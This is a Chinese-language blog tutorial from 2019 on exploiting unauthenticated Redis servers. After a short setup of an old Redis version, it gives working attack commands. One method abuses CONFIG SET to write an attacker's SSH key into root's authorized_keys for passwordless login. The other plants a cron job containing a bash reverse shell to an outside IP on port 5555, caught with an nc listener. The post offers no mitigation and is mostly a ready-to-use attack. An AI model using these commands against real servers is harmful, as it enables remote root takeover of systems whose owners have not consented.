Redis未授权访问漏洞说明及利用

0x00 漏洞描述

Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

0x01 环境搭建

首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复),编译安装。

编译安装步骤是:

tar zxf redis-2.6.13.tar.gz

cd redis-2.6.13

make

make指令成功执行完毕之后,redis数据库就已经部署好了,如果我们要启动redis数据库的话: src\redis-server,如果是启动redis的连接工具的话,需要执行 src\redis-cli 。

0x02 漏洞利用方法

1. 利用ssh免密登陆方法获得shell

如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。

如果上述两项都符合要求我们就可以一步一步的向下进行了。

(1) 生成公-私密钥对

使用ssh-keygen命令之后一路回车即可。

(2) 利用Redis未授权访问漏洞

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

(3)登陆

但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。

2. 利用linux定时任务反射shell

定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。

处理流程:

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1\n\n"

save

之后在本地主机上开放5555端口,侦听反弹的shell。

nc -lnvp 5555
标签:Redis 发布于:2019-11-15 13:20:03